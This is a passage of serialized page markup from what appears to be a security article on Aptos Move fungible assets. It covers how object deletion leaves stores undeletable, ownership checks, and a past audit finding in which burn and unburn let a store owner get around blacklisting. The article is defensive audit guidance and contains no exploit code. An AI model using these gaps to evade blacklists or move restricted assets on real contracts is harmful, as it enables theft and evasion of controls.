,"props":64409,"children":64410},{"style":1539},[64411],{"type":27,"value":13071},{"type":22,"tag":264,"props":64413,"children":64414},{"class":1534,"line":1603},[64415,64420,64424,64429],{"type":22,"tag":264,"props":64416,"children":64417},{"style":4401},[64418],{"type":27,"value":64419},"    move_to",{"type":22,"tag":264,"props":64421,"children":64422},{"style":1539},[64423],{"type":27,"value":2660},{"type":22,"tag":264,"props":64425,"children":64426},{"style":1549},[64427],{"type":27,"value":64428},"metadata_object_signer",{"type":22,"tag":264,"props":64430,"children":64431},{"style":1539},[64432],{"type":27,"value":4812},{"type":22,"tag":264,"props":64434,"children":64435},{"class":1534,"line":1612},[64436,64441],{"type":22,"tag":264,"props":64437,"children":64438},{"style":4722},[64439],{"type":27,"value":64440},"        Metadata",{"type":22,"tag":264,"props":64442,"children":64443},{"style":1539},[64444],{"type":27,"value":4594},{"type":22,"tag":264,"props":64446,"children":64447},{"class":1534,"line":1621},[64448,64453],{"type":22,"tag":264,"props":64449,"children":64450},{"style":1549},[64451],{"type":27,"value":64452},"            name",{"type":22,"tag":264,"props":64454,"children":64455},{"style":1539},[64456],{"type":27,"value":4812},{"type":22,"tag":264,"props":64458,"children":64459},{"class":1534,"line":1629},[64460,64465],{"type":22,"tag":264,"props":64461,"children":64462},{"style":1549},[64463],{"type":27,"value":64464},"            symbol",{"type":22,"tag":264,"props":64466,"children":64467},{"style":1539},[64468],{"type":27,"value":4812},{"type":22,"tag":264,"props":64470,"children":64471},{"class":1534,"line":1642},[64472,64477],{"type":22,"tag":264,"props":64473,"children":64474},{"style":1549},[64475],{"type":27,"value":64476},"            decimals",{"type":22,"tag":264,"props":64478,"children":64479},{"style":1539},[64480],{"type":27,"value":4812},{"type":22,"tag":264,"props":64482,"children":64483},{"class":1534,"line":1660},[64484,64489],{"type":22,"tag":264,"props":64485,"children":64486},{"style":1549},[64487],{"type":27,"value":64488},"            icon_uri",{"type":22,"tag":264,"props":64490,"children":64491},{"style":1539},[64492],{"type":27,"value":4812},{"type":22,"tag":264,"props":64494,"children":64495},{"class":1534,"line":1668},[64496,64501],{"type":22,"tag":264,"props":64497,"children":64498},{"style":1549},[64499],{"type":27,"value":64500},"            project_uri",{"type":22,"tag":264,"props":64502,"children":64503},{"style":1539},[64504],{"type":27,"value":4812},{"type":22,"tag":264,"props":64506,"children":64507},{"class":1534,"line":1677},[64508],{"type":22,"tag":264,"props":64509,"children":64510},{"style":1539},[64511],{"type":27,"value":4651},{"type":22,"tag":264,"props":64513,"children":64514},{"class":1534,"line":1686},[64515],{"type":22,"tag":264,"props":64516,"children":64517},{"style":1539},[64518],{"type":27,"value":44974},{"type":22,"tag":264,"props":64520,"children":64521},{"class":1534,"line":4948},[64522,64526,64530],{"type":22,"tag":264,"props":64523,"children":64524},{"style":1539},[64525],{"type":27,"value":5045},{"type":22,"tag":264,"props":64527,"children":64528},{"style":4309},[64529],{"type":27,"value":10889},{"type":22,"tag":264,"props":64531,"children":64532},{"style":1539},[64533],{"type":27,"value":13071},{"type":22,"tag":264,"props":64535,"children":64536},{"class":1534,"line":4957},[64537],{"type":22,"tag":264,"props":64538,"children":64539},{"style":1539},[64540],{"type":27,"value":1692},{"type":22,"tag":20097,"props":64542,"children":64543},{},[],{"type":22,"tag":23,"props":64545,"children":64546},{},[64547,64549,64554,64556,64561],{"type":27,"value":64548},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":22,"tag":257,"props":64550,"children":64552},{"className":64551},[],[64553],{"type":27,"value":63398},{"type":27,"value":64555}," is also an object, and a \"secondary\" ",{"type":22,"tag":257,"props":64557,"children":64559},{"className":64558},[],[64560],{"type":27,"value":63398},{"type":27,"value":64562}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":22,"tag":618,"props":64564,"children":64566},{"className":4274,"code":64565,"language":4273,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[64567],{"type":22,"tag":257,"props":64568,"children":64569},{"__ignoreMap":7},[64570,64578,64620,64627,64635],{"type":22,"tag":264,"props":64571,"children":64572},{"class":1534,"line":1535},[64573],{"type":22,"tag":264,"props":64574,"children":64575},{"style":4284},[64576],{"type":27,"value":64577},"//Fungible asset\n",{"type":22,"tag":264,"props":64579,"children":64580},{"class":1534,"line":1545},[64581,64585,64589,64594,64598,64603,64607,64611,64616],{"type":22,"tag":264,"props":64582,"children":64583},{"style":1549},[64584],{"type":27,"value":62997},{"type":22,"tag":264,"props":64586,"children":64587},{"style":1549},[64588],{"type":27,"value":7499},{"type":22,"tag":264,"props":64590,"children":64591},{"style":4401},[64592],{"type":27,"value":64593}," remove_store",{"type":22,"tag":264,"props":64595,"children":64596},{"style":1539},[64597],{"type":27,"value":2660},{"type":22,"tag":264,"props":64599,"children":64600},{"style":1549},[64601],{"type":27,"value":64602},"delete_ref",{"type":22,"tag":264,"props":64604,"children":64605},{"style":4309},[64606],{"type":27,"value":5785},{"type":22,"tag":264,"props":64608,"children":64609},{"style":4309},[64610],{"type":27,"value":8434},{"type":22,"tag":264,"props":64612,"children":64613},{"style":4722},[64614],{"type":27,"value":64615},"DeleteRef",{"type":22,"tag":264,"props":64617,"children":64618},{"style":1539},[64619],{"type":27,"value":4463},{"type":22,"tag":264,"props":64621,"children":64622},{"class":1534,"line":1560},[64623],{"type":22,"tag":264,"props":64624,"children":64625},{"emptyLinePlaceholder":17},[64626],{"type":27,"value":4986},{"type":22,"tag":264,"props":64628,"children":64629},{"class":1534,"line":1569},[64630],{"type":22,"tag":264,"props":64631,"children":64632},{"style":4284},[64633],{"type":27,"value":64634},"//Object\n",{"type":22,"tag":264,"props":64636,"children":64637},{"class":1534,"line":1583},[64638,64642,64646,64651,64655,64660,64664,64669],{"type":22,"tag":264,"props":64639,"children":64640},{"style":1549},[64641],{"type":27,"value":62997},{"type":22,"tag":264,"props":64643,"children":64644},{"style":1549},[64645],{"type":27,"value":7499},{"type":22,"tag":264,"props":64647,"children":64648},{"style":4401},[64649],{"type":27,"value":64650}," delete",{"type":22,"tag":264,"props":64652,"children":64653},{"style":1539},[64654],{"type":27,"value":2660},{"type":22,"tag":264,"props":64656,"children":64657},{"style":4293},[64658],{"type":27,"value":64659},"ref",{"type":22,"tag":264,"props":64661,"children":64662},{"style":4309},[64663],{"type":27,"value":5785},{"type":22,"tag":264,"props":64665,"children":64666},{"style":4722},[64667],{"type":27,"value":64668}," DeleteRef",{"type":22,"tag":264,"props":64670,"children":64671},{"style":1539},[64672],{"type":27,"value":4463},{"type":22,"tag":23,"props":64674,"children":64675},{},[64676,64678,64684,64686,64691,64693,64698,64700,64705,64707,64713,64715,64721,64723,64728],{"type":27,"value":64677},"When ",{"type":22,"tag":257,"props":64679,"children":64681},{"className":64680},[],[64682],{"type":27,"value":64683},"object::delete",{"type":27,"value":64685}," removes the ",{"type":22,"tag":257,"props":64687,"children":64689},{"className":64688},[],[64690],{"type":27,"value":50171},{"type":27,"value":64692}," from a ",{"type":22,"tag":257,"props":64694,"children":64696},{"className":64695},[],[64697],{"type":27,"value":63398},{"type":27,"value":64699}," object, the ",{"type":22,"tag":257,"props":64701,"children":64703},{"className":64702},[],[64704],{"type":27,"value":63398},{"type":27,"value":64706}," resource becomes permanently undeletable. This is because ",{"type":22,"tag":257,"props":64708,"children":64710},{"className":64709},[],[64711],{"type":27,"value":64712},"remove_store",{"type":27,"value":64714}," can't create an ",{"type":22,"tag":257,"props":64716,"children":64718},{"className":64717},[],[64719],{"type":27,"value":64720},"Object\u003CFungibleStore>",{"type":27,"value":64722}," without an ",{"type":22,"tag":257,"props":64724,"children":64726},{"className":64725},[],[64727],{"type":27,"value":50171},{"type":27,"value":64729}," underneath, causing the operation to fail.",{"type":22,"tag":618,"props":64731,"children":64733},{"className":4274,"code":64732,"language":4273,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[64734],{"type":22,"tag":257,"props":64735,"children":64736},{"__ignoreMap":7},[64737,64792,64844,64859],{"type":22,"tag":264,"props":64738,"children":64739},{"class":1534,"line":1535},[64740,64744,64748,64752,64756,64760,64764,64768,64772,64776,64780,64784,64788],{"type":22,"tag":264,"props":64741,"children":64742},{"style":1549},[64743],{"type":27,"value":62997},{"type":22,"tag":264,"props":64745,"children":64746},{"style":1549},[64747],{"type":27,"value":7499},{"type":22,"tag":264,"props":64749,"children":64750},{"style":4401},[64751],{"type":27,"value":64593},{"type":22,"tag":264,"props":64753,"children":64754},{"style":1539},[64755],{"type":27,"value":2660},{"type":22,"tag":264,"props":64757,"children":64758},{"style":1549},[64759],{"type":27,"value":64602},{"type":22,"tag":264,"props":64761,"children":64762},{"style":4309},[64763],{"type":27,"value":5785},{"type":22,"tag":264,"props":64765,"children":64766},{"style":4309},[64767],{"type":27,"value":8434},{"type":22,"tag":264,"props":64769,"children":64770},{"style":4722},[64771],{"type":27,"value":64615},{"type":22,"tag":264,"props":64773,"children":64774},{"style":1539},[64775],{"type":27,"value":4390},{"type":22,"tag":264,"props":64777,"children":64778},{"style":1549},[64779],{"type":27,"value":7636},{"type":22,"tag":264,"props":64781,"children":64782},{"style":1539},[64783],{"type":27,"value":24333},{"type":22,"tag":264,"props":64785,"children":64786},{"style":4309},[64787],{"type":27,"value":10889},{"type":22,"tag":264,"props":64789,"children":64790},{"style":1539},[64791],{"type":27,"value":63088},{"type":22,"tag":264,"props":64793,"children":64794},{"class":1534,"line":1545},[64795,64799,64803,64807,64811,64815,64819,64824,64828,64832,64836,64840],{"type":22,"tag":264,"props":64796,"children":64797},{"style":4293},[64798],{"type":27,"value":4296},{"type":22,"tag":264,"props":64800,"children":64801},{"style":1549},[64802],{"type":27,"value":7122},{"type":22,"tag":264,"props":64804,"children":64805},{"style":4309},[64806],{"type":27,"value":4312},{"type":22,"tag":264,"props":64808,"children":64809},{"style":4309},[64810],{"type":27,"value":8434},{"type":22,"tag":264,"props":64812,"children":64813},{"style":1539},[64814],{"type":27,"value":64232},{"type":22,"tag":264,"props":64816,"children":64817},{"style":4309},[64818],{"type":27,"value":4785},{"type":22,"tag":264,"props":64820,"children":64821},{"style":1549},[64822],{"type":27,"value":64823},"object_from_delete_ref",{"type":22,"tag":264,"props":64825,"children":64826},{"style":1539},[64827],{"type":27,"value":7097},{"type":22,"tag":264,"props":64829,"children":64830},{"style":4722},[64831],{"type":27,"value":63398},{"type":22,"tag":264,"props":64833,"children":64834},{"style":1539},[64835],{"type":27,"value":8904},{"type":22,"tag":264,"props":64837,"children":64838},{"style":1549},[64839],{"type":27,"value":64602},{"type":22,"tag":264,"props":64841,"children":64842},{"style":1539},[64843],{"type":27,"value":5142},{"type":22,"tag":264,"props":64845,"children":64846},{"class":1534,"line":1560},[64847,64851,64855],{"type":22,"tag":264,"props":64848,"children":64849},{"style":1539},[64850],{"type":27,"value":64040},{"type":22,"tag":264,"props":64852,"children":64853},{"style":4309},[64854],{"type":27,"value":10889},{"type":22,"tag":264,"props":64856,"children":64857},{"style":1539},[64858],{"type":27,"value":13071},{"type":22,"tag":264,"props":64860,"children":64861},{"class":1534,"line":1569},[64862],{"type":22,"tag":264,"props":64863,"children":64864},{"style":1539},[64865],{"type":27,"value":1692},{"type":22,"tag":23,"props":64867,"children":64868},{},[64869,64871,64876,64878,64884,64886,64891],{"type":27,"value":64870},"In addition, such \"deleted\" ",{"type":22,"tag":257,"props":64872,"children":64874},{"className":64873},[],[64875],{"type":27,"value":63398},{"type":27,"value":64877}," objects remain at least partially operable. For instance, ",{"type":22,"tag":257,"props":64879,"children":64881},{"className":64880},[],[64882],{"type":27,"value":64883},"fungible_asset::deposit",{"type":27,"value":64885}," does not check the ",{"type":22,"tag":257,"props":64887,"children":64889},{"className":64888},[],[64890],{"type":27,"value":50171},{"type":27,"value":64892}," existence.",{"type":22,"tag":181,"props":64894,"children":64896},{"id":64895},"ownership",[64897],{"type":27,"value":64898},"Ownership",{"type":22,"tag":23,"props":64900,"children":64901},{},[64902,64904,64909,64911,64917,64919,64924],{"type":27,"value":64903},"Each object has an owner. Fungible assets rely on the ",{"type":22,"tag":257,"props":64905,"children":64907},{"className":64906},[],[64908],{"type":27,"value":50171},{"type":27,"value":64910}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":22,"tag":257,"props":64912,"children":64914},{"className":64913},[],[64915],{"type":27,"value":64916},"object::owns",{"type":27,"value":64918}," to confirm ownership of the ",{"type":22,"tag":257,"props":64920,"children":64922},{"className":64921},[],[64923],{"type":27,"value":63398},{"type":27,"value":51497},{"type":22,"tag":618,"props":64926,"children":64928},{"className":4274,"code":64927,"language":4273,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[64929],{"type":22,"tag":257,"props":64930,"children":64931},{"__ignoreMap":7},[64932,64980,65004,65031,65051,65079,65147,65162],{"type":22,"tag":264,"props":64933,"children":64934},{"class":1534,"line":1535},[64935,64939,64943,64947,64951,64955,64960,64964,64968,64972,64976],{"type":22,"tag":264,"props":64936,"children":64937},{"style":4401},[64938],{"type":27,"value":62997},{"type":22,"tag":264,"props":64940,"children":64941},{"style":1539},[64942],{"type":27,"value":2660},{"type":22,"tag":264,"props":64944,"children":64945},{"style":1549},[64946],{"type":27,"value":8391},{"type":22,"tag":264,"props":64948,"children":64949},{"style":1539},[64950],{"type":27,"value":4390},{"type":22,"tag":264,"props":64952,"children":64953},{"style":1549},[64954],{"type":27,"value":8400},{"type":22,"tag":264,"props":64956,"children":64957},{"style":1549},[64958],{"type":27,"value":64959}," withdraw_sanity_check",{"type":22,"tag":264,"props":64961,"children":64962},{"style":1539},[64963],{"type":27,"value":7097},{"type":22,"tag":264,"props":64965,"children":64966},{"style":4722},[64967],{"type":27,"value":7279},{"type":22,"tag":264,"props":64969,"children":64970},{"style":4309},[64971],{"type":27,"value":5785},{"type":22,"tag":264,"props":64973,"children":64974},{"style":1549},[64975],{"type":27,"value":7223},{"type":22,"tag":264,"props":64977,"children":64978},{"style":1539},[64979],{"type":27,"value":7881},{"type":22,"tag":264,"props":64981,"children":64982},{"class":1534,"line":1545},[64983,64988,64992,64996,65000],{"type":22,"tag":264,"props":64984,"children":64985},{"style":1549},[64986],{"type":27,"value":64987},"    owner",{"type":22,"tag":264,"props":64989,"children":64990},{"style":4309},[64991],{"type":27,"value":5785},{"type":22,"tag":264,"props":64993,"children":64994},{"style":4309},[64995],{"type":27,"value":8434},{"type":22,"tag":264,"props":64997,"children":64998},{"style":1549},[64999],{"type":27,"value":8439},{"type":22,"tag":264,"props":65001,"children":65002},{"style":1539},[65003],{"type":27,"value":4812},{"type":22,"tag":264,"props":65005,"children":65006},{"class":1534,"line":1560},[65007,65011,65015,65019,65023,65027],{"type":22,"tag":264,"props":65008,"children":65009},{"style":1549},[65010],{"type":27,"value":30727},{"type":22,"tag":264,"props":65012,"children":65013},{"style":4309},[65014],{"type":27,"value":5785},{"type":22,"tag":264,"props":65016,"children":65017},{"style":4722},[65018],{"type":27,"value":62883},{"type":22,"tag":264,"props":65020,"children":65021},{"style":1539},[65022],{"type":27,"value":7097},{"type":22,"tag":264,"props":65024,"children":65025},{"style":4722},[65026],{"type":27,"value":7279},{"type":22,"tag":264,"props":65028,"children":65029},{"style":1539},[65030],{"type":27,"value":7430},{"type":22,"tag":264,"props":65032,"children":65033},{"class":1534,"line":1569},[65034,65039,65043,65047],{"type":22,"tag":264,"props":65035,"children":65036},{"style":1549},[65037],{"type":27,"value":65038},"    abort_on_dispatch",{"type":22,"tag":264,"props":65040,"children":65041},{"style":4309},[65042],{"type":27,"value":5785},{"type":22,"tag":264,"props":65044,"children":65045},{"style":4722},[65046],{"type":27,"value":13349},{"type":22,"tag":264,"props":65048,"children":65049},{"style":1539},[65050],{"type":27,"value":4812},{"type":22,"tag":264,"props":65052,"children":65053},{"class":1534,"line":1583},[65054,65058,65062,65066,65070,65075],{"type":22,"tag":264,"props":65055,"children":65056},{"style":1539},[65057],{"type":27,"value":4390},{"type":22,"tag":264,"props":65059,"children":65060},{"style":1549},[65061],{"type":27,"value":7636},{"type":22,"tag":264,"props":65063,"children":65064},{"style":4722},[65065],{"type":27,"value":63418},{"type":22,"tag":264,"props":65067,"children":65068},{"style":1539},[65069],{"type":27,"value":4380},{"type":22,"tag":264,"props":65071,"children":65072},{"style":4722},[65073],{"type":27,"value":65074},"DispatchFunctionStore",{"type":22,"tag":264,"props":65076,"children":65077},{"style":1539},[65078],{"type":27,"value":4594},{"type":22,"tag":264,"props":65080,"children":65081},{"class":1534,"line":1603},[65082,65086,65091,65095,65100,65104,65108,65112,65116,65120,65124,65128,65133,65137,65142],{"type":22,"tag":264,"props":65083,"children":65084},{"style":4401},[65085],{"type":27,"value":63666},{"type":22,"tag":264,"props":65087,"children":65088},{"style":1539},[65089],{"type":27,"value":65090},"(object",{"type":22,"tag":264,"props":65092,"children":65093},{"style":4309},[65094],{"type":27,"value":4785},{"type":22,"tag":264,"props":65096,"children":65097},{"style":4401},[65098],{"type":27,"value":65099},"owns",{"type":22,"tag":264,"props":65101,"children":65102},{"style":1539},[65103],{"type":27,"value":2660},{"type":22,"tag":264,"props":65105,"children":65106},{"style":1549},[65107],{"type":27,"value":7232},{"type":22,"tag":264,"props":65109,"children":65110},{"style":1539},[65111],{"type":27,"value":14234},{"type":22,"tag":264,"props":65113,"children":65114},{"style":4309},[65115],{"type":27,"value":4785},{"type":22,"tag":264,"props":65117,"children":65118},{"style":4401},[65119],{"type":27,"value":8502},{"type":22,"tag":264,"props":65121,"children":65122},{"style":1539},[65123],{"type":27,"value":2660},{"type":22,"tag":264,"props":65125,"children":65126},{"style":1549},[65127],{"type":27,"value":16909},{"type":22,"tag":264,"props":65129,"children":65130},{"style":1539},[65131],{"type":27,"value":65132},")), error",{"type":22,"tag":264,"props":65134,"children":65135},{"style":4309},[65136],{"type":27,"value":4785},{"type":22,"tag":264,"props":65138,"children":65139},{"style":4401},[65140],{"type":27,"value":65141},"permission_denied",{"type":22,"tag":264,"props":65143,"children":65144},{"style":1539},[65145],{"type":27,"value":65146},"(ENOT_STORE_OWNER));\n",{"type":22,"tag":264,"props":65148,"children":65149},{"class":1534,"line":1612},[65150,65154,65158],{"type":22,"tag":264,"props":65151,"children":65152},{"style":1539},[65153],{"type":27,"value":64040},{"type":22,"tag":264,"props":65155,"children":65156},{"style":4309},[65157],{"type":27,"value":10889},{"type":22,"tag":264,"props":65159,"children":65160},{"style":1539},[65161],{"type":27,"value":13071},{"type":22,"tag":264,"props":65163,"children":65164},{"class":1534,"line":1621},[65165],{"type":22,"tag":264,"props":65166,"children":65167},{"style":1539},[65168],{"type":27,"value":1692},{"type":22,"tag":23,"props":65170,"children":65171},{},[65172,65174,65179,65181,65187,65189,65195],{"type":27,"value":65173},"The thing to note is that defining ownership with ",{"type":22,"tag":257,"props":65175,"children":65177},{"className":65176},[],[65178],{"type":27,"value":64916},{"type":27,"value":65180}," can be tricky. The ",{"type":22,"tag":257,"props":65182,"children":65184},{"className":65183},[],[65185],{"type":27,"value":65186},"burn",{"type":27,"value":65188}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":22,"tag":257,"props":65190,"children":65192},{"className":65191},[],[65193],{"type":27,"value":65194},"BURN_ADDRESS",{"type":27,"value":65196}," while bypassing transfer restrictions:",{"type":22,"tag":618,"props":65198,"children":65200},{"className":4274,"code":65199,"language":4273,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[65201],{"type":22,"tag":257,"props":65202,"children":65203},{"__ignoreMap":7},[65204,65301,65342,65392,65421,65471,65492],{"type":22,"tag":264,"props":65205,"children":65206},{"class":1534,"line":1535},[65207,65211,65215,65219,65224,65228,65232,65236,65240,65244,65248,65252,65256,65260,65264,65268,65272,65276,65280,65284,65288,65292,65297],{"type":22,"tag":264,"props":65208,"children":65209},{"style":1549},[65210],{"type":27,"value":62997},{"type":22,"tag":264,"props":65212,"children":65213},{"style":1549},[65214],{"type":27,"value":63964},{"type":22,"tag":264,"props":65216,"children":65217},{"style":1549},[65218],{"type":27,"value":7499},{"type":22,"tag":264,"props":65220,"children":65221},{"style":1549},[65222],{"type":27,"value":65223}," burn",{"type":22,"tag":264,"props":65225,"children":65226},{"style":1539},[65227],{"type":27,"value":7097},{"type":22,"tag":264,"props":65229,"children":65230},{"style":4722},[65231],{"type":27,"value":7279},{"type":22,"tag":264,"props":65233,"children":65234},{"style":4309},[65235],{"type":27,"value":5785},{"type":22,"tag":264,"props":65237,"children":65238},{"style":1549},[65239],{"type":27,"value":7223},{"type":22,"tag":264,"props":65241,"children":65242},{"style":1539},[65243],{"type":27,"value":8904},{"type":22,"tag":264,"props":65245,"children":65246},{"style":1549},[65247],{"type":27,"value":16909},{"type":22,"tag":264,"props":65249,"children":65250},{"style":4309},[65251],{"type":27,"value":5785},{"type":22,"tag":264,"props":65253,"children":65254},{"style":4309},[65255],{"type":27,"value":8434},{"type":22,"tag":264,"props":65257,"children":65258},{"style":1549},[65259],{"type":27,"value":8439},{"type":22,"tag":264,"props":65261,"children":65262},{"style":1539},[65263],{"type":27,"value":4380},{"type":22,"tag":264,"props":65265,"children":65266},{"style":1549},[65267],{"type":27,"value":64232},{"type":22,"tag":264,"props":65269,"children":65270},{"style":4309},[65271],{"type":27,"value":5785},{"type":22,"tag":264,"props":65273,"children":65274},{"style":4722},[65275],{"type":27,"value":62883},{"type":22,"tag":264,"props":65277,"children":65278},{"style":1539},[65279],{"type":27,"value":7097},{"type":22,"tag":264,"props":65281,"children":65282},{"style":4722},[65283],{"type":27,"value":7279},{"type":22,"tag":264,"props":65285,"children":65286},{"style":1539},[65287],{"type":27,"value":21753},{"type":22,"tag":264,"props":65289,"children":65290},{"style":1549},[65291],{"type":27,"value":7636},{"type":22,"tag":264,"props":65293,"children":65294},{"style":4722},[65295],{"type":27,"value":65296}," ObjectCore",{"type":22,"tag":264,"props":65298,"children":65299},{"style":1539},[65300],{"type":27,"value":4594},{"type":22,"tag":264,"props":65302,"children":65303},{"class":1534,"line":1545},[65304,65308,65313,65317,65322,65326,65330,65334,65338],{"type":22,"tag":264,"props":65305,"children":65306},{"style":4293},[65307],{"type":27,"value":4296},{"type":22,"tag":264,"props":65309,"children":65310},{"style":1549},[65311],{"type":27,"value":65312}," original_owner",{"type":22,"tag":264,"props":65314,"children":65315},{"style":4309},[65316],{"type":27,"value":4312},{"type":22,"tag":264,"props":65318,"children":65319},{"style":1539},[65320],{"type":27,"value":65321}," signer",{"type":22,"tag":264,"props":65323,"children":65324},{"style":4309},[65325],{"type":27,"value":4785},{"type":22,"tag":264,"props":65327,"children":65328},{"style":4401},[65329],{"type":27,"value":8502},{"type":22,"tag":264,"props":65331,"children":65332},{"style":1539},[65333],{"type":27,"value":2660},{"type":22,"tag":264,"props":65335,"children":65336},{"style":1549},[65337],{"type":27,"value":16909},{"type":22,"tag":264,"props":65339,"children":65340},{"style":1539},[65341],{"type":27,"value":5142},{"type":22,"tag":264,"props":65343,"children":65344},{"class":1534,"line":1560},[65345,65349,65353,65358,65362,65366,65370,65375,65379,65383,65387],{"type":22,"tag":264,"props":65346,"children":65347},{"style":4401},[65348],{"type":27,"value":63666},{"type":22,"tag":264,"props":65350,"children":65351},{"style":1539},[65352],{"type":27,"value":2660},{"type":22,"tag":264,"props":65354,"children":65355},{"style":4401},[65356],{"type":27,"value":65357},"is_owner",{"type":22,"tag":264,"props":65359,"children":65360},{"style":1539},[65361],{"type":27,"value":2660},{"type":22,"tag":264,"props":65363,"children":65364},{"style":1549},[65365],{"type":27,"value":64232},{"type":22,"tag":264,"props":65367,"children":65368},{"style":1539},[65369],{"type":27,"value":4380},{"type":22,"tag":264,"props":65371,"children":65372},{"style":1549},[65373],{"type":27,"value":65374},"original_owner",{"type":22,"tag":264,"props":65376,"children":65377},{"style":1539},[65378],{"type":27,"value":64255},{"type":22,"tag":264,"props":65380,"children":65381},{"style":4309},[65382],{"type":27,"value":4785},{"type":22,"tag":264,"props":65384,"children":65385},{"style":4401},[65386],{"type":27,"value":65141},{"type":22,"tag":264,"props":65388,"children":65389},{"style":1539},[65390],{"type":27,"value":65391},"(ENOT_OBJECT_OWNER));\n",{"type":22,"tag":264,"props":65393,"children":65394},{"class":1534,"line":1569},[65395,65399,65404,65408,65412,65416],{"type":22,"tag":264,"props":65396,"children":65397},{"style":4293},[65398],{"type":27,"value":4296},{"type":22,"tag":264,"props":65400,"children":65401},{"style":1549},[65402],{"type":27,"value":65403}," object_addr",{"type":22,"tag":264,"props":65405,"children":65406},{"style":4309},[65407],{"type":27,"value":4312},{"type":22,"tag":264,"props":65409,"children":65410},{"style":1549},[65411],{"type":27,"value":63816},{"type":22,"tag":264,"props":65413,"children":65414},{"style":4309},[65415],{"type":27,"value":210},{"type":22,"tag":264,"props":65417,"children":65418},{"style":1539},[65419],{"type":27,"value":65420},"inner;\n",{"type":22,"tag":264,"props":65422,"children":65423},{"class":1534,"line":1583},[65424,65428,65432,65436,65441,65445,65450,65454,65459,65463,65467],{"type":22,"tag":264,"props":65425,"children":65426},{"style":4401},[65427],{"type":27,"value":64419},{"type":22,"tag":264,"props":65429,"children":65430},{"style":1539},[65431],{"type":27,"value":2660},{"type":22,"tag":264,"props":65433,"children":65434},{"style":4309},[65435],{"type":27,"value":4413},{"type":22,"tag":264,"props":65437,"children":65438},{"style":4401},[65439],{"type":27,"value":65440},"create_signer",{"type":22,"tag":264,"props":65442,"children":65443},{"style":1539},[65444],{"type":27,"value":2660},{"type":22,"tag":264,"props":65446,"children":65447},{"style":1549},[65448],{"type":27,"value":65449},"object_addr",{"type":22,"tag":264,"props":65451,"children":65452},{"style":1539},[65453],{"type":27,"value":16477},{"type":22,"tag":264,"props":65455,"children":65456},{"style":4722},[65457],{"type":27,"value":65458},"TombStone",{"type":22,"tag":264,"props":65460,"children":65461},{"style":1539},[65462],{"type":27,"value":10884},{"type":22,"tag":264,"props":65464,"children":65465},{"style":1549},[65466],{"type":27,"value":65374},{"type":22,"tag":264,"props":65468,"children":65469},{"style":1539},[65470],{"type":27,"value":40149},{"type":22,"tag":264,"props":65472,"children":65473},{"class":1534,"line":1603},[65474,65479,65483,65487],{"type":22,"tag":264,"props":65475,"children":65476},{"style":4401},[65477],{"type":27,"value":65478},"    transfer_raw_inner",{"type":22,"tag":264,"props":65480,"children":65481},{"style":1539},[65482],{"type":27,"value":2660},{"type":22,"tag":264,"props":65484,"children":65485},{"style":1549},[65486],{"type":27,"value":65449},{"type":22,"tag":264,"props":65488,"children":65489},{"style":1539},[65490],{"type":27,"value":65491},", BURN_ADDRESS);\n",{"type":22,"tag":264,"props":65493,"children":65494},{"class":1534,"line":1612},[65495],{"type":22,"tag":264,"props":65496,"children":65497},{"style":1539},[65498],{"type":27,"value":1692},{"type":22,"tag":23,"props":65500,"children":65501},{},[65502,65508,65510,65515,65516,65523,65525,65530],{"type":22,"tag":257,"props":65503,"children":65505},{"className":65504},[],[65506],{"type":27,"value":65507},"unburn",{"type":27,"value":65509}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":22,"tag":257,"props":65511,"children":65513},{"className":65512},[],[65514],{"type":27,"value":65194},{"type":27,"value":19835},{"type":22,"tag":69,"props":65517,"children":65520},{"href":65518,"rel":65519},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[73],[65521],{"type":27,"value":65522},"AIP-99",{"type":27,"value":65524}," is a proposal to roll back the ",{"type":22,"tag":257,"props":65526,"children":65528},{"className":65527},[],[65529],{"type":27,"value":65186},{"type":27,"value":65531}," feature, but previously burned objects will remain restorable.",{"type":22,"tag":4226,"props":65533,"children":65534},{},[65535],{"type":22,"tag":23,"props":65536,"children":65537},{},[65538,65540,65544],{"type":27,"value":65539},"This ",{"type":22,"tag":264,"props":65541,"children":65542},{},[65543],{"type":27,"value":65522},{"type":27,"value":65545}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":22,"tag":23,"props":65547,"children":65548},{},[65549,65551,65557,65559,65564,65566,65571],{"type":27,"value":65550},"Another important thing is that ",{"type":22,"tag":257,"props":65552,"children":65554},{"className":65553},[],[65555],{"type":27,"value":65556},"fungible_asset::set_untransferable",{"type":27,"value":65558}," can be used to make all new ",{"type":22,"tag":257,"props":65560,"children":65562},{"className":65561},[],[65563],{"type":27,"value":63902},{"type":27,"value":65565}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":22,"tag":257,"props":65567,"children":65569},{"className":65568},[],[65570],{"type":27,"value":63398},{"type":27,"value":210},{"type":22,"tag":23,"props":65573,"children":65574},{},[65575,65577,65582,65584,65590,65592,65597,65599,65604],{"type":27,"value":65576},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a 